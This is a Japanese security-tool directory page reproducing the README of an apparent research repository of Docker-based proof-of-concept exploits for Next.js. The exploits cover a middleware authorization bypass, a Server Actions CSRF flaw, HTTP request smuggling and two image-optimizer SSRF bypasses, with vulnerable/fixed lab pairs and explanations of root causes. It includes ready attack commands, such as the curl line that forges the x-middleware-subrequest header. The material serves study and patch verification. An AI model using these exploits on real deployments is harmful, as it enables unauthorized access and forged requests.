Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Next.js-Proof-of-Concept — Next.js の CVE-2025-29927、CVE-2026-27978、CVE-2026-29057 に関するいくつかの Proof-of-Concept(PoC) | Kitploit
ツール/GitHubGitHub/nayekah/next.js-proof-of-concept
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ学習と教育ラボと実践
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

Next.js の CVE-2025-29927、CVE-2026-27978、CVE-2026-29057 に関するいくつかの Proof-of-Concept(PoC)

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Next.js CVE 概念実証

このリポジトリには、3つのNext.js脆弱性に対する再現可能な概念実証(PoC)環境が含まれています。各PoCには、脆弱なターゲット、修正済みターゲット、および両者の動作の違いを示すスクリプトが含まれています。

このプロジェクトの目的は、各問題の根本原因と実際の影響を、最小限の環境で簡単に観察できるようにすることです。

含まれる脆弱性

CVEアドバイザリ影響脆弱なバージョン修正済みバージョン
CVE-2025-29927GHSA-f82v-jwr5-mffwアクセス制御がミドルウェアのみに依存する場合の認可バイパス15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxServer ActionsのCSRFチェックをバイパスするOrigin: null16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8外部バックエンドへのリライトを介したHTTPリクエストスマグリング15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECTローカルソース監査による発見リダイレクトを介したイメージオプティマイザーのリモート許可リストバイパス16.2.4未確認
NEXT-16.2.4-IMAGE-LOCAL-REWRITEローカルソース監査による発見外部リライトを介してイメージオプティマイザーのローカルURLがプライベートアップストリームに到達可能16.2.4未確認

リリースコミットとパッチコミット

以下のハッシュは、上流の vercel/next.js から取得したものです。

CVE脆弱なリリースコミット修正済みリリースコミット関連パッチコミット
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

リポジトリ構成

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

前提条件

  1. Docker DesktopまたはDocker Engineをインストールします。
  2. docker compose が利用可能であることを確認します。
  3. このリポジトリのルートからコマンドを実行します。

全サービスの起動

root@kitploit:~
docker compose up --build

公開されるポート:

  • 3001 -> CVE-2025-29927 脆弱版
  • 3002 -> CVE-2025-29927 修正版
  • 3003 -> CVE-2026-27978 脆弱版
  • 3004 -> CVE-2026-27978 修正版
  • 3005 -> CVE-2026-29057 脆弱版
  • 3006 -> CVE-2026-29057 修正版
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

再現 1: CVE-2025-29927

脆弱なコードパス

このPoCでは、/dashboard はミドルウェアのみで保護されています:

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

認可チェック自体は誤りではありません。問題は、ミドルウェアの実行をスキップできないという前提にルートが完全に依存していることです。

影響を受けるNext.jsバージョンでは、外部リクエストが内部ヘッダー x-middleware-subrequest を依然として供給でき、ランタイムはその値を信頼されたミドルウェアメタデータとして扱っていました。関連する脆弱なロジックは以下のとおりです:

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest はそこでフィルタリングされていなかったため、攻撃者が制御する入力がミドルウェアランタイムに到達する可能性がありました。その値はその後、再帰の深さを導出するために使用されていました:

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

攻撃者が middleware:middleware:middleware:middleware:middleware を送信すると、ランタイムは再帰の深さにすでに達したと判断し、アプリケーションのミドルウェアを実行せずにリクエストを転送する可能性があります。

実行

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

期待される動作:

  • 3001 はエクスプロイトヘッダーなしではリダイレクトを返しますが、x-middleware-subrequest を付けると 200 OK を返します。
  • 3002 は、内部ヘッダーが外部入力から信頼されなくなったため、/login へのリダイレクトを続けます。

再現 2: CVE-2026-27978

脆弱なコードパス

このPoCは、サーバー側の状態を変更する通常のServer Actionを公開しています:

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

問題は transferFunds() 自体にはありません。脆弱な動作は、Server Actionsに対するNext.jsのCSRF検証にありました。影響を受けるバージョンでは、Origin: null は明示的な不透明オリジンではなく、オリジン欠落として扱われていました:

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

'null' が undefined になるため、サンドボックス化されたiframeなどの不透明オリジンからのリクエストは、ホスト/オリジン比較パスを回避し、被害者のCookieが添付されたまま処理される可能性がありました。

実行

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

期待される動作:

  • スクリプトは被害者としてログインし、ページから生成されたServer Actionフィールドを抽出して、Origin: null で送信します
  • 脆弱なターゲットでは、送金状態が変更されます
  • 修正済みターゲットでは、リクエストは失敗し、状態は変更されません

再現 3: CVE-2026-29057

脆弱なコードパス

このPoCは、/rewrites/:path* を外部バックエンドにリライトします:

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

脆弱な動作は、Next.jsがリライトに使用するベンダリングされた http-proxy 依存関係にありました。影響を受けるバージョンでは、DELETE および OPTIONS リクエストのプロキシロジックが content-length: 0 を追加し、transfer-encoding を削除する可能性がありました:

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

これにより、細工されたチャンク化リクエストが転送された際に、プロキシチェーンとバックエンドの間でリクエスト境界の不一致が生じました。その結果、同じ接続上で2番目のリクエストをバックエンドにスマグリングできる可能性がありました。

実行

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

期待される動作:

  • スクリプトは観測状態をリセットし、スマグリングされた GET /secret を含む生のチャンク化 DELETE /rewrites/poc リクエストを送信します
  • 脆弱なターゲットでは、バックエンドは DELETE /rewrites/poc と GET /secret の両方を記録します
  • 修正済みターゲットでは、バックエンドは最初にリライトされたリクエストのみを記録します

観測された出力例:

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

再現 4: NEXT-16.2.4-IMAGE-REDIRECT

脆弱なコードパス

ローカルの next.js-16.2.4 ソースは、ImageOptimizerCache.validateParams() 内で、元の url パラメータに対してのみ images.remotePatterns を検証します:

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

その後、ネットワークフェッチパスは fetchExternalImage() 内でリダイレクトを再帰的に追跡します:

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

この再帰呼び出しはプライベートIPチェックを維持しますが、domains / remotePatterns を受け取ったり再適用したりしません。したがって、設定された許可画像オリジンは、元の画像許可リストを通過しない別のパブリックオリジンにオプティマイザーをリダイレクトさせることができます。

PoCはlocalhostサービスを使用し、dangerouslyAllowLocalIP: true を設定しています。これは、外部インフラストラクチャなしで許可リストの動作を再現するためだけです。設定された画像許可リストは http://127.0.0.1:4100/allowed/** のみを許可します。そのサーバーは http://127.0.0.1:4200/blocked/private.png にリダイレクトし、2番目のサーバーは到達したかどうかを記録します。

実行

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

期待される動作:

  • オプティマイザーはポート 4100 の元の許可URLを受け入れます
  • 許可されたアップストリームは images.remotePatterns の範囲外にあるポート 4200 のURLにリダイレクトします
  • 脆弱なターゲットでは、ポート 4200 のアップストリームが GET /blocked/private.png を記録します
  • パッチ適用済みターゲットでは、2番目のアップストリームがフェッチされる前にリダイレクトターゲットが拒否されるはずです

クイック手動コマンド

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

Server Actionフィールドはサーバーによって動的に生成されるため、提供されているスクリプトを使用してください。

CVE-2026-29057

エクスプロイトはスマグリングされた2番目のリクエストを含む生のTCPペイロードに依存しているため、提供されているスクリプトを使用してください。

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

再現 5: NEXT-16.2.4-IMAGE-LOCAL-REWRITE

脆弱なコードパス

ローカル画像URLの場合、ImageOptimizerCache.validateParams() は images.localPatterns に対してローカルパス名のみを検証します:

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

その後、内部フェッチパスはNext.jsのリクエストハンドラーに再入します:

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

一致したローカルルートが外部リライトとして設定されている場合、リクエストはその外部宛先にプロキシされる可能性があります。このパスは fetchExternalImage() を呼び出さないため、絶対画像URLに使用されるプライベートIP保護はリライトされた宛先には適用されません。

PoCの設定は /allowed/** 配下のローカル画像URLのみを許可し、そのパスを http://127.0.0.1:4300/private/:path* にリライトします:

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

実行

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

期待される動作:

  • オプティマイザーは images.localPatterns に一致するため /allowed/secret.png を受け入れます
  • Next.jsは http://127.0.0.1:4300/private/secret.png への外部リライトを適用します
  • 脆弱なターゲットでは、プライベートアップストリームが GET /private/secret.png を記録します
  • パッチ適用済みターゲットでは、イメージオプティマイザーはプロキシする前に外部/プライベートのリライト宛先を拒否するはずです

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

ソース

  • Next.js セキュリティアドバイザリ
  • CVE-2025-29927 アドバイザリ
  • ミドルウェアバイパスに関するポストモーテム
  • CVE-2026-27978 アドバイザリ
  • CVE-2026-29057 アドバイザリ
  • CVE-2026-29057 パッチコミット
ツールをダウンロード